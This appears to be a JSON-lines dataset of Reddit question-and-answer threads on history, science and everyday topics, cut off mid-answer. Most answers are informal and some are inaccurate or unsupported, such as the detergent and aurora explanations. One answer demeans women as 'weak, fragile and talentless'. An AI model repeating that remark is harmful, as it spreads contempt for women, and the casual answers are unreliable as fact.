{"q_id": "ceytf3", "title": "After how many generations does one stop being nobility ?", "selftext": "When you read about the medieval kings of Europe, you can see clearly their heirs (often being the oldest son). The heirs of the heirs became kings themselves, but what happened to the descendants of younger sons ?\n\nFor example, when you read about John II of France (1319- 1364), you can see that he had 4 sons, one of which became king Charles V and the three others all became dukes. What happened to the children of those three sons ? It's clear that the duchies didn't pass on to their descendants as the title of duke of Berry (which was created for the second son, John) was recreated over a 100 years later in 1461 for Charles, the younger brother of Louis XI.\n\nYes, I know that maybe these examples aren't the best but my question stays the same, How far does one have to be removed from the senior branch to no longer be considered a member of the royal family or even the nobility ?\n\nEDIT: So for the sake of clarity and facility, I'd be most interested in Medieval France (or Western Europe). If someone can share some insight into other regions or time periods, that'd be awesome as well!!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ceytf3/after_how_many_generations_does_one_stop_being/", "answers": {"a_id": ["eu817rt"], "score": [50], "text": ["There is no hard and fast rule. In the most objective sense, a branch of a family stopped being in the nobility once it stopped having a title - that is, if the Duc d'X had three sons, and one inherited the title, the second collected a title on the death of a childless relative, and the third married a bourgeoise and wasn't granted a title by the king/didn't inherit any titles, the third (or at least his children) would no longer be aristocratic - but this doesn't take into account that \"nobility\" is a social construct with a certain amount of fluidity. It's based on kinship networks in large part, and that hypothetical third son is still the son of a noble, with noble siblings, siblings-in-law, aunts, uncles, cousins, grandparents, and so on. Effectively, he could still be considered a noble by the members of that network. However, it wouldn't be very likely for a man from a noble family to end up titleless. A more problematic situation would have been for an aristocratic daughter to marry outside of her class, since women took on the social status of their husbands. While she could have made use of her noble social network, as could her children, they would most likely have been less accepted as \"nobility\". \n\n(Another option was the passing of titles through women. Certainly not as common as straightforward male primogeniture, but some titles were inherited by women when their brothers all predeceased them, and they held them as a kind of placeholder until they married. For instance, Marie de Berry, granddaughter of Jean II, was given her deceased father's titles of Duc(hesse) d'Auvergne and Comte(sse) de Montpensier; her husband became Duc d'Auvergne and one of her sons inherited Montpensier. The nobility did not want titles to die out, as that gave the king more titles to hand out, which increased his power and decreased theirs.)\n\nIn the case of Jean II's sons, it's not that the titles didn't get passed down or that at a certain point the king went, \"nope, you're no longer nobility.\" They simply died out. The Duc de Berry had two sons who died before him; the one who made it to adulthood left no children. The Duc d'Anjou left the title to his eldest son, but several generations later it ended with the fifth duke having no issue. The Duc de Bourgogne also passed the title on through legitimate children, and it eventually passed into the Holy Roman Empire, then was dropped and later recreated. \n\nAs far as the concept of the \"royal family\" goes, I have to admit that I don't exactly know. My experience has been that the phrase is typically used in history to refer only to the monarch's nuclear family (consort, surviving parent, children), but that doesn't tell us how it was used in the past. That being said, having royalty in one's lineage and therefore being 7th, 15th, etc. in line for the crown did not typically grant someone the status of *being* royalty or in the royal family - it just have them the potential to be so if disastrous calamities ensued."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9xu880", "title": "In what ways were New World people (Incas, Mayans, Tainos, Apache, Iriquois) harsh or oppressive to their lower classes?", "selftext": "Descriptions of New World exploration often describes the people as peaceful victims compared to the conquering Europeans, but is that accurate?\n\nI am wondering if the New World people were also harsh or oppressive to their lower classes and were conquered because of something other than being taken advantage of.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9xu880/in_what_ways_were_new_world_people_incas_mayans/", "answers": {"a_id": ["e9v8dxq"], "score": [12], "text": ["There is a large amount of cultural variation between different groups that lived over two continents, and so you're not likely to get a single answer by one historian to this question. However, with that said, you might find interesting a recent multi-part answer by /u/snapshot52 to the question [Native Americans in what is now the USA have often been portrayed as having \"idyllic\" lives before Western colonizers arrived - is there any truth to this? How much \"easier\" were their daily lives? Before Western diseases and colonists arrived, was it a life of easy hunting and simple living?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://old.reddit.com/r/AskHistorians/comments/9xcfh3/native_americans_in_what_is_now_the_usa_have/e9ryden/"]]}
{"q_id": "3b8an3", "title": "In World War One, why did the Allies agree to an armistice in 1918, if they were finally winning?", "selftext": "In November of 1918, the Allied Powers ended World War One by signing an Armistice agreement with the remaining belligerents.  At this point, the German army was loosing territory at a rate of miles a day, and the Americans were finally beginning to devote their full industrial and demographic resources to the war effort.  Despite the collapse of the Eastern Front and the withdrawal of the Russian Empire in March of 1918, the Italians had the Austrians on the rope and the British were successfully chasing the Ottomans out of the Levant and Mesopotamia.\n\n*So* ***why*** *did the Allies agree to an armistice that left their enemies intact at the very time when they were finally in a position to crush them once and for all?*\n\nReading Hew Strathan's *The First World War*, I couldn't help but feel that by agreeing to an armistice, the French and British were literally snatching defeat from the Jaws of victory.  But clearly the Allied leadership of had different priorities back in 1918.  I suspect that my reading of events is influenced by the knowledge that Germany would start another massive war 20 years later, but I don't quite understand why agreeing to an armistice seemed like a good idea to the Allied leadership in late 1918. \n\n**Why did the Allies not want push on to forcibly take Berlin and like the Germans had taken Paris back in 1871?**  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3b8an3/in_world_war_one_why_did_the_allies_agree_to_an/", "answers": {"a_id": ["csjs8zu", "csjtyzj", "csk7o5b"], "score": [45, 11, 3], "text": ["A couple of reasons that all mesh together:\n\n* Most of all they wanted a strong Germany to stand. Even France. \n\nThere were talks early on about breaking up Germany but it quickly became clear that wasn't feasible. Fact is is that the wealthiest part of France, industrially at least, was occupied and sacked for four years. Belgium as a whole was destroyed. They needed a central, standing German government with its industry and wealth in tact to pay reparations. The British in particular, who would go from the largest creditor to largest debtor nation in those four years, full on relied upon German industry to rebuild. \n\nGoing on longer would have made the situation in Germany more volatile. Even as it happened now Bavaria was able to secede as a Soviet Republic for a couple of months. Freikorps and revolutionaries would fight in the streets for years. Berlin was being sacked by radical socialists and communists. The more they let the situation go out of control the more likely Germany was to fracture at the seams. That was not beneficial to anyone. \n\n* There was no need to. \n\nUltimately the war goals of the Allies were simple. Push the Germans out of the lands they occupied and maybe seize Alsace-Lorraine back. Use German reparations to rebuild the damage. Neuter their military so that they may not do what they did again. Break them up enough so that they are contained but not so much that the economy of the world falls into pieces (Germany was the #3 GDP in the world). Lastly enforce a democracy so that the aristocracy may not start shit again.\n\nAll of that was achieved. The German leadership realized they were lost. The aristocracy across the nation stepped down including the Kaiser and Emperor. The armies completely surrendered. Polish nationalist groups especially were up in arms and would secede along with the lands given to them thus creating an Eastern contender. Reparations would be put in action and the German army was not to exceed 100,000 men. Now obviously the reparations would hardly be enforced and the restriction on the army was *de jure* but not *de facto* but that's not on the men fighting and the men who put in place the terms but those who were there to enforce it after.\n\nHonestly, what would it have achieved? Let me reiterate: Berlin had fallen to revolutionaries. The armies were surrendering. The navy was in full mutiny. Places in Germany were already seceding and everywhere else revolution was in full swing. The aristocracy was stepping down officially and even fleeing. What other purpose was there to continue pushing on? Germany was accepting unconditional, total surrender.", "Marshal Foch (Commander-in-Chief of the Allied Armies) answered this criticism by saying that the War was not an end in itself. The purpose of war is to impose your will on the enemy, not fighting for its own sake. The German Army had been defeated in the field, that is why they had requested an armistice. The Allies had successively imposed their will on the Germans; what was the point in carrying on the bloodshed by fighting all the way to Berlin? To demonstrate that the German Army had been defeated? They were already defeated by November 1918, this is why they sued for peace.\n\nNow, you could say that the mistakes came _after_ the armistice, in the peace treaty. This is what Foch claimed, that it was Versailles that robbed the Allies of their victory, not the armistice. \n\nSource: Raymond Recouly, _Marshal Foch: His Own Words on Many Subjects_ (London: Thornton Butterworth, 1929).", "Amongst the other reasons, the French and British were exhausted and to continue into Germany may have led to greater dominance of the United States in the final negotiations at the expense of the French and British. I think the armistice really shocked them, and they took a chance to end the war.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "16gma4", "title": "Is it possible to make Aurora Borealis in a lab?", "selftext": "If we made a strong magnetic field and made electrons collide with the field, would that create Aurora Borealis? If not, how would we do it?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16gma4/is_it_possible_to_make_aurora_borealis_in_a_lab/", "answers": {"a_id": ["c7vu5pg"], "score": [9], "text": ["I don't understand the question. The northern lights are simply excited electrons returning to their lowest energy level and emitting this change as light after being excited by other traveling electrons. A neon sign basically does this. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1gfl6r", "title": "How does the \"pastic bag trick\" work for credit cards that won't scan?", "selftext": "If you wrap a plastic grocery bag tightly around a credit card that refuses to work, it will scan much more easily.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1gfl6r/how_does_the_pastic_bag_trick_work_for_credit/", "answers": {"a_id": ["cajs6yd", "cajvhae", "cajvjif"], "score": [2, 2, 15], "text": ["Is this confirmed to actually work? I think we should investigate **if** it works, before trying to figure out why.", "A credit card reader has to get close proximity to the magnetic strip to read it. If a plastic bag increases the thickness of the opposite side enough to push the strip side closer to a slightly out of spec reader, that might be why it works, even though it's also adding a thin layer over the strip.\n\nI recall having trouble with a recalcitrant reader at a local gas station, and the attendant just pressed it really hard against the strip side as he pulled it through, and then it worked. ", "A small amount of research indicates that the cause is by creating enough space to weaken the signal from \"smeared sections\"\n\nFirst understand how the strip works.  It's basically a series of magnetic and nonmagnetic sections representing 0's and 1's.  As far as I understand it as the reader passes over the strip the magnetic portions induce a current in the reader while the non magnetic portions don't.  However, there is some variance, sometimes the signal is weaker and sometimes it's stronger.  As with most binary signals this isn't a problem generally: unlike analog signals that degrade rather badly with any \"noise\" a binary signal reads reads everything as a 0 and 1 and usually those two values are pretty far apart.\n\nAlthough _URL_0_ has to do with telecommunications the same basically principals apply: as the card is swiped across the reader a signal is generated by the magnet sections.  This signal is noisy due to environmental factors and wear.\n\nAs to partically why the bag trick works.  Basically as you swipe your card over the years some of the magnetic material is smeared and deposited possibly in areas that where previously nonmagnetic.  This results in a \"weak\" signal from those sections that might mean a section that was supposed to read \"0110\" sporadically gets read as \"0111\".  I assume there is some form of parity checking going on so when an erroneous \"1\" is read is assumes the data is corrupt.  Taking the plastic bag and wrapping it around the card increases the distance between the card and the reader head. This makes the induced current weaker (makes all signals be read weaker).  The truly magnetic sections will likely still be read strong enough to be read as a 1, but the smeared sections likely be to weak to trigger a erroneous 1.\n\n*note I'm assuming magnetic == 1 and nonmagnetic == 0.  There is no reason this couldn't be reversed to the same effect.  I also say I \"assume\" there is parity checking only because I'm not personally familiar with the protocol; it's pretty obvious they must have some form of error checking and parity seems like an easy and obvious choice for the application."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.technologyuk.net/telecommunications/telecom_principles/noise.shtml"]]}
{"q_id": "3osmcc", "title": "with all the cameras everywhere, how come unsolved murders in big cities are still a thing?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3osmcc/eli5_with_all_the_cameras_everywhere_how_come/", "answers": {"a_id": ["cw03vr8", "cw04lpa", "cw0wjxc"], "score": [8, 4, 2], "text": ["There simply aren't as many cameras as you think there are. Putting aside issues of privacy and civil rights, a system to monitor every inch of an entire city would be impossibly expensive, since you would need to make sure every camera is working and invest in a huge amount of server space to store the data.", " >  Can't you follow the suspect and know where he goes almost from the moment he leaves his home?\n\nTV crime shows aside, you really can't.  Paradoxically, there aren't enough cameras, and there are too many cameras.\n\nThey aren't enough to ensure full coverage, and they are too many to be able to sort through all the data.  Also, many of the cameras are private, meaning law enforcement has no direct access to them, and they are not obligated to turn their data over, or even preserve it, without a warrant.", "The other posters have a point, but I'd also like to add that cameras and technologies are not the gold standard for solving and preventing crimes.  You can install cameras on every street corner, but people will work around them, especially knowing that they are being watched.  Cell phone gives away your location? Leave it at home. Camera sees you? Wear a mask. Selling drugs? Lace a cigarette with you favorite street drug and the cameras will never know. The times cameras catch people on TV are often times when people forget they are being watched and fail to work around the cameras. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "c9uiqz", "title": "how does a ski chairlift slow down for the people getting on/off, but the rest of the chairs in the middle of the ride up don\u2019t feel it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c9uiqz/eli5_how_does_a_ski_chairlift_slow_down_for_the/", "answers": {"a_id": ["et30uvp", "et31bsq", "et4i50o", "et4i9am", "et4l6qv"], "score": [45, 192, 10, 5, 2], "text": ["Because on modern chair lifts the chair is actually lifted off the cable and slowed down. The cable continues to move at the same speed but the chair moves slower. After you get on the chair is then accelerated back to cable speed and dropped back on the cable. Since all chairs are slowed down the same in the turn, spacing is kept uniform along the cable.", "The chairs disconnect from the main drive cable as they enter the stations at each end. They proceed on a slower drive system in the stations then reconnect to the main cable as they leave.\n\nSee: _URL_0_", "I have experience operating the type that aren't detachable. When getting on the chairlift there is an attendant who stand in the center of where the chair comes around. As the skiers come up the attendant grabs on the side of the chair and pulls back. At the same time they sit down and it's all a smooth transition, or should be. When you exit the chair comes up/down towards a ramp of snow. You stand up as the speed of the chair along with slope of the ramp guides you down. \n\nYes, people do fall down getting both on and off, and yeah it's funny sometimes", "Well at blue mountain (Poconos) they just stop if for every chair. You don't feel it because it's barely moving anyway", "Detachable Chairlifts will release their grip from the haul rope while in station, allowing more time for the passengers to get on/off, while maintaining a much faster speed between stations.\n\nFixed Grip Chairlifts are always moving at the same speed as the haul rope, so they are run at a much lower speed to allow for passengers to get on/off safely. These chairlifts often require a lift operator to physically hold the chair with their hand, to give passengers an extra second or two find their place when getting on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Detachable_chairlift"], [], [], []]}
{"q_id": "a4ae0v", "title": "What was the role of the Emperor during the Warring States (Sengoku) period in Japan?", "selftext": "I'm trying to track the role of the Emperor and allegiance to the Imperial family over Japan's period of modernisation. I understand that one of the ideals of Meiji revolutionaries was to reinstate the Emperor (and they stormed his palace to demand his support?) - but where does this desire come from and what did they think this would result in? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a4ae0v/what_was_the_role_of_the_emperor_during_the/", "answers": {"a_id": ["ebeh0xr"], "score": [3], "text": ["I summarized the position of the emperor (and his court) between the Kamakura and the early Edo [here](_URL_0_). Please give it a read."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/7hbbj6/ive_heard_that_the_emperor_of_japan_despite_being/dr0yat1/"]]}
{"q_id": "b1po0j", "title": "canadians pay less or about the same as americans in tax rates but get health care, how is this possible?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b1po0j/eli5_canadians_pay_less_or_about_the_same_as/", "answers": {"a_id": ["einbw3h", "einc0ui", "eincdu1", "eincg72", "eincjos", "einhvf2"], "score": [14, 2, 10, 56, 22, 5], "text": ["they don't waste all their money on an insanely bloated military industrial complex and increasingly unnecessary boarder security. ", "The power of group purchasing. By putting all your money for one thing in a pot, you can afford more than any one of you could possibly afford alone.", "I am canadian, we get taxed waaay harder than americans. Out west with both taxes we lose 40% ish off any income over 75k or so.", "Two reasons.\n\nFirst is that governments are actually really good at negotiating prices. A government is a market heavy weight and can drive down prices incredibly easily. When 99% of the supply is owned by 1 person its a monopoly and prices can be set very high, When 99% of the demand is 1 entity its a monopsony and that entity can bargain for much lower prices. \n\nSecond reason is that the U.S healthcare industry is actually awful. The prices are ridiculously bloated because healthcare is an inelastic meaning demand is pretty much infinite. Add in the fact that a hospitals number one customers are insurance companies who have it in their best interest to have increased medical cost. You end up with a system where the cost of healthcare just keeps increasing for no real reason.\n\nIf the U.S switched to a universal healthcare system the amount of money the nation spent on healthcare would actually decrease by a pretty decent amount. A lot of the money is just going into pockets of middle men who can be completely cut out all together. ", "A lot of People in america don't understand how the socialized system works\n\nHow having every single working person contributing a relative amount of their pay to a giant pot of money provides a service everyone can benefit from,and that by doing so we could practically eliminate the exorbitant insurance and prescription expenses we are so accustomed to\n\nEven though that's how things  like roads and emergency services works.  Meaning we are already doing this exact fucking thing in other areas\n\n\nAn entire portion of our population has been conditioned to believe higher taxes  automatically = bad...even though there is a net savings per person", "U.S.: 54% of discretionary spending on military\n\nCanada: 8% of discretionary spending on military\n\nThe math is pretty simple after that.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "bgj1m0", "title": "just been thinking about the case when someone accidentally took a sip of detergent and died. what actually happens in your body when you ingest detergent?", "selftext": "This is the story in case you're wondering:  [_URL_0_](_URL_0_)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bgj1m0/eli5_just_been_thinking_about_the_case_when/", "answers": {"a_id": ["ell7mop", "elldvcb", "elle1b1"], "score": [8, 4, 3], "text": ["Detergents have enzymes in them that break down lipids which is great for breaking up stains but also destroys cell membranes which you just happen to be made of cells. When you drink it you are basically melting your insides.", "\"Andres Lorente, 50, felt a burning sensation after drinking the glass of what he thought was wine on Sunday afternoon at Bar Raconet in the Spanish region of Castell\u00f3n.\"\n\nFollow up question: how do you manage to drink an entire glass of detergent without knowing it's not wine?", "It might not have been your everyday detergent. In restaurants, they might use a particularly strong type that is very damaging to flesh. I have a friend who worked as a dishwasher in a cafeteria. She spilled a bit of cleaner on her leg, and it burned. She washed it off and continued with her day, but it continued to hurt a lot. Eventually she went to the hospital. It was some kind of very strong cleaner and it was eating through her leg. The hospital needed to put some kind of chemical on it to neutralize it. She has a big scar from it."]}, "title_urls": [], "selftext_urls": ["https://www.independent.co.uk/news/world/europe/man-dies-after-waiter-accidentally-serves-him-glass-of-detergent-instead-of-wine-10324018.html"], "answers_urls": [[], [], []]}
{"q_id": "3caylh", "title": "dan bilzerian", "selftext": "are all those girls just payed to hang out with him? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3caylh/eli5_dan_bilzerian/", "answers": {"a_id": ["csttaub", "cstvyiq", "csu2xln"], "score": [3, 5, 5], "text": ["They hang out with him because he has money and they are weak, fragile and talentless. Same reason girls go into porn. ", "Some go there just to be with him because he has money (and want to party lavishly) and sometimes they are paid.\n\nDan Bilzerian has MASSIVE insecurity issues. ", "His dad screwed over a lot of people. Put huge piles of money in a trust fund for his son that was out of reach for authorities to take and now his son uses the trust fund to pay for his extravagant lifestyle of doing absolutely nothing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1zfwst", "title": "why do we/the media know, what obama/merkel say to putin on the telephone?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1zfwst/eli5_why_do_wethe_media_know_what_obamamerkel_say/", "answers": {"a_id": ["cft9u0k", "cftbggp"], "score": [39, 3], "text": ["Conversation is likely recorded/tracked.\n\nPR department goes over it, picks out the important bits that can be safely released, or just notes that the phonecall took place.\n\nThis information is released as Press Release in a highly sanitized manner, so that you get the bare minimum required.\n\nSo Obama calling Putin to cuss him out and insult his mother becomes\n\n >  \"President Obama had a phone call with Russian President Putin over the Ukranian Crisis. Obama and Putin had a friendly exchange. Obama expressed his grave concerns regarding Russian actions regarding the Ukraine. \n >  \n >  Obama stressed the importance of setting examples for the international community, and requested that Putin establish public talks as soon as possible in order to ensure both short and long term stability in the region\n >  \n >  The White House expects negotiations to continue to be constructive.\"\n\n[You can read press releases here](_URL_0_)", "In this case the contents of the telephone call were leaked to the press by an anonymous \"official\" that we can assume is part of the Obama administration.  It is fairly common for that to happen as they are attempting to influence the public perception to promote their agenda.\n\nEvery single bit of news that is being reported that Obama and Merkel spoke is based off one article published by Reuters.  Here is the article in its entirety emphasis mine:\n\n > (Reuters) - President Barack Obama discussed the Ukraine crisis with German Chancellor Angela Merkel in a phone call on Sunday and underscored the \"complete illegitimacy\" of Russian's incursion in Ukraine's Crimea, **a senior U.S. official said.**\n\n > \"(The primary point) in all of his calls has been to underscore the complete illegitimacy of Russia's intervention\" in the Crimea region of Ukraine, the official told reporters in a conference call.\n\n >  **The official, who spoke on condition of anonymity,** said Obama planned shortly to make the same point in conversations with the British prime minister and the Polish president."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.whitehouse.gov/briefing-room/statements-and-releases"], []]}
{"q_id": "a3xp0d", "title": "Is English a lingua franca more because of the United States or the British Empire?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/a3xp0d/is_english_a_lingua_franca_more_because_of_the/", "answers": {"a_id": ["eba1x9u"], "score": [2], "text": ["This submission has been removed because it violates the [rule on poll-type questions](_URL_1_). These questions do not lend themselves to answers with a firm foundation in sources and research, and the resulting threads usually turn into monsters with enormous speculation and little focussed discussion. Questions about the \"most\", the \"worst\", or other value judgments usually lead to vague, subjective, and speculative answers.  For further information, please consult [this Roundtable discussion](_URL_0_).\n\nFor questions of this type, we ask that you redirect them to more appropriate subreddits, such as /r/history or /r/askhistory."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/48hjn0/rules_roundtable_6_the_no_polltype_questions_rule/", "http://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22poll.22-type_questions"]]}
{"q_id": "7e71a4", "title": "Why did the Apollo CSM not have solar panels?", "selftext": "The Soyuz Craft have always had solar panels, even today, yet the Apollo, Gemini, Mercury and Space Shuttle Orbiter, which did things similar to Soyuz (rendezvous and long duration docking) used only fuel cells. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/7e71a4/why_did_the_apollo_csm_not_have_solar_panels/", "answers": {"a_id": ["dq2ym1o", "dq3kq3a", "dq3ppof"], "score": [205, 13, 5], "text": ["It basically wasn\u2019t in space long enough to make them worthwhile. For the relatively short lunar missions it was easy enough to transport sufficient hydrogen and oxygen to power the fuel cells and the fuel cell exhaust\u2014water\u2014was useful too.", "One other thing to keep in mind (in addition to the already posted stuff) is that solar cells in the 1960s were kind of terrible. Very heavy, and didn't put off much power. Probably a modern day voyage would have some solar cells, but in the 1960s? Forget about it. Especially when you need to go to the moon, and it's easier to carry some fuel cells than a heavy solar panel.", "Solar power was in its infancy back then.  Fuel cells were cheaper and more reliable (Apollo 13 notwithstanding, but it wasn't really the fault of the cell itself it was a design flaw in the thermostat) and thus the better option."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6wurn9", "title": "What is the history of West African, Black Americans and witchcraft?", "selftext": "I watched a documentary on the history of Halloween and how it became a part of American culture, but then I remembered just how superstitious and religious the elders in my culture (Black American) tend to be. A girl from Nigeria on YouTube confirmed that at least Nigeria is just the same. I also know about the alleged \"Devil's children\" that are abused and neglected. \n\nDid these beliefs originate in West Africa? What about the rest of Africa? Were they brought to the continent with colonialism?\n\nI have tons of questions, but I'm not sure how to find answers. What do I Google? Any documentaries? Help!\n\n*Edit:* I am unable to change the title. Just mentally add an 's' at the end of West Africa. Thanks!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6wurn9/what_is_the_history_of_west_african_black/", "answers": {"a_id": ["dmaya1w", "dmb1vcd"], "score": [11, 3], "text": ["I posted a bit about [contemporary witchcraft in Africa](_URL_4_) before, and I'm going to reproduce part of that here:\n\n >  'Invented tradition' is taken to mean a set of practices, normally governed by overtly or tacitly accepted rules and of a ritual or symbolic nature, which seek to inculcate certain values and norms of behaviour by repetition, which automatically implies continuity with the past. In fact, where possible, they normally attempt to establish continuity with a suitable historic past.\n\n- [The Invention of Tradition](_URL_0_)\n\nThere have emerged practices and beliefs designated as \"witchcraft\" in parts of Africa which are not actually continuations of historical practices, but are new traditions which are derived or made or presented as being part of the continuous tradition of native African folk beliefs. You might draw a direct parallel to the changing concept of \"witchcraft\" in the United Kingdom and United States with relation to the founding of Gardnerian Wicca in the late 1950s/early 60s and the quick promulgation, acceptance, adoption, and mutation of its various concepts: people began accepting certain terminology, beliefs, and behaviors as traditional because they were being presented as part of a living tradition, even though in fact many parts of it (covens, the Book of Shadows, etc.) were in fact inventions, parts of it were ahistorical (most of the mythological trappings, the purported history of witchcraft), and other bits (derivations from Freemasonry, Hermetic occultism, etc.) were historical but used out of context.\n\nTerence Ranger in a discussion of the invention of traditions in colonial Africa in *The Invention of Tradition* notes:\n\n >  However, another path had also been open to the young in the colonial period and before the rise of the nationalist parties. This had been to outflank the reified 'custom' of the elders by appeals to more dynamic and transformative aspects of the traditional. Recent commentators have increasingly seen the very widespread witchcraft eradtication movements of the colonial period, with their promise of a society freed from evil, in this sort of way. MacGaffey describes how in his Bakongo village the management of witchcraft accusation by the elders caused great discontent, and led to the arrival of a 'prophet' who undertook to eliminate witchcraft, an achievement which would deprive the elders of a potent form of social control. The result was 'the temporary paralysis of the elders'. Roy Willis has shown how in rural south-western Tanganyika in the 1950s young men tried to break the control exercised by elders over land and local 'routine public affairs', by making use of a series of witchcraft eradication movements, which outflanked invented custom by an appeal to the pre-social Golden Age.\n\nWhich is a long way to say: witchcraft has historically been a part of many African cultures, with its own accepted methods of being dealt with; but those traditions are smacking into the changing syntax of African life, and people are adapting those beliefs to their new circumstances. You might draw a comparison between how historically, horoscopes were drawn out and calculated carefully for the individual based on personal data - and then newspapers came along, and in 1930 began newspaper horoscopes, the idea of which soon spread.\n\nThe \"child witch\" phenomena that they are specifically concerned with is \"new\" in the sense that it doesn't have a strong historical precedent in African tradition; it is primarily an urban one, and is fed by the mass media; it occurs primarily in countries that \"have also suffered from political instability, endless conflicts and civil wars, and the recruitment of child soldiers\" and in areas with a strong presence of Christian churches \"belonging to the Pentecostal and prophetic movement\" - bringing \"Thou shalt not suffer a witch to live\" [Exodus 22:18](_URL_2_) rhetoric to bear. Any and all of these factors are likely to be responsible for the formation and spread of new beliefs which are cast in the mold of traditional beliefs.\n\nNow, having said all that: did some slaves in the Americas retain some superstitions and religious traditions from Africa? Absolutely. While many of these slaves were forced to convert to Christianity, they still retained aspects of their native beliefs, some of which were syncretized with Christian mythos, and others of which developed naturally in the different populations. u/grantmatter has a great answer about that in [Why didn't African Americans, unlike other large black populations in the Americas (like in Haiti, Cuba and Brazil), develop a syncretic religion like them (like Voodoo, Santer\u00eda, Candombl\u00e9)?](_URL_1_); u/firedrops also talks a bit about communities that retained \"Africanisms\" in terms of language, tradition, and folktales in [Apart from voodoo in Louisiana, did other elements of African culture, language, and religion survive with African descendants in the Americas?](_URL_3_). These elements of native African religions, filtered through the context of slavery, absolutely became a part of African-American culture, and became a staple of American culture in general. Popular occultism has that tendency for a high degree of crossover. For example, in a description of Harlem in 1934, horror writer H. P. Lovecraft noted:\n\n >  All the drug stores carry rabbit\u2019s-foot luck charms, dream books, anti-kink fluid  &  pomade for the wool of dusky sheiks  &  sirens,  &  (also for the rites of Congolese coiffure) devices called \u201cstraightening-irons.\u201d\n\n- H. P. Lovecraft to F. Lee Baldwin,  27 Mar 1934, *Letters to F. Lee Baldwin  & c.* 67\n\n\"Dream books\" and lucky rabbits' feet (well, lucky for everyone except the rabbit!) aren't traditional aspects of native African religions; they're European and American traditions which enjoyed broad popularity among a heterogenous population - white, black, Hispanic, etc. Dream-books and charms were offered in the books section of the [Sears and Roebuck Catalogs](_URL_5_) for example included dream-books and grimoires around the turn of the century.\n\nAll that being said... yes, there is some influence from African religious traditions on African-American culture (and American culture in general); that said, it is difficult to say if they were any more or less superstitious than any of the other distinct American sub-cultures at the time. The particular aspects of modern African witch-craze are generally distinct from contemporary beliefs centered on Voudoun or the like, simply because while they have the *character* of a traditional belief, they're really quite a recent phenomenon.", "You might be interested in Yvonne Chireau's [*Black Magic: Religion and the African American Conjuring Tradition*](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.worldcat.org/title/invention-of-tradition/oclc/969043534", "https://www.reddit.com/r/AskHistorians/comments/34uwxj/why_didnt_african_americans_unlike_other_large/", "https://www.biblegateway.com/passage/?search=Exodus+22%3A18&amp;version=KJV", "https://www.reddit.com/r/AskHistorians/comments/28pds5/apart_from_voodoo_in_louisiana_did_other_elements/", "https://www.reddit.com/r/AskHistorians/comments/6r5q62/the_2006_unicef_report_on_children_accused_of/", "https://archive.org/stream/catalogueno11200sear#page/128/mode/2up/"], ["http://www.ucpress.edu/book.php?isbn=9780520249882"]]}
{"q_id": "x4094", "title": "What animals have the highest number of neuron connections?", "selftext": "I remember I read somewhere that the reason the human brain is so scrunched up is partially due to the inter-connectivity of the neurons.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x4094/what_animals_have_the_highest_number_of_neuron/", "answers": {"a_id": ["c5j6rlr"], "score": [2], "text": ["According to this [paper]( _URL_0_) humans have the most neurons of any animal.  The long and short of it is that neuron _density_ is not constant among groups of animals and animal size.  \n\nSome relevant quotes:\n\n > Here, I review this recent evidence and argue that, with 86 billion neurons and just as many nonneuronal cells, the human brain is a scaled-up primate brain in its cellular composition and metabolic cost, with a relatively enlarged cerebral cortex that does not have a relatively larger number of brain neurons yet is remarkable in its cognitive abilities and metabolism simply because of its extremely large number of neurons.\n\n > Such comparisons are based on the notion... that different brains are just scaled-up or scaled-down versions of a common basic plan, such that larger brains always have more neurons than smaller brains and two brains of a similar size always have comparable numbers of neurons. However, this notion is in disagreement with the observation that animals of similar brain size ... such as the cow and the chimpanzee (both at about 400 g of brain mass), or the rhesus monkey and the capybara (at 70\u201380 g of brain mass), may have strikingly different cognitive abilities and behavioral repertoires. Thus, either the logic that larger brains always have more neurons is flawed or the number of neurons is not the most important determinant of cognitive abilities. The appealing alternative view that total connectivity, gauged from the total number of synapses in the brain, should be a direct determinant of brain processing capabilities runs into the same difficulty. ... the few 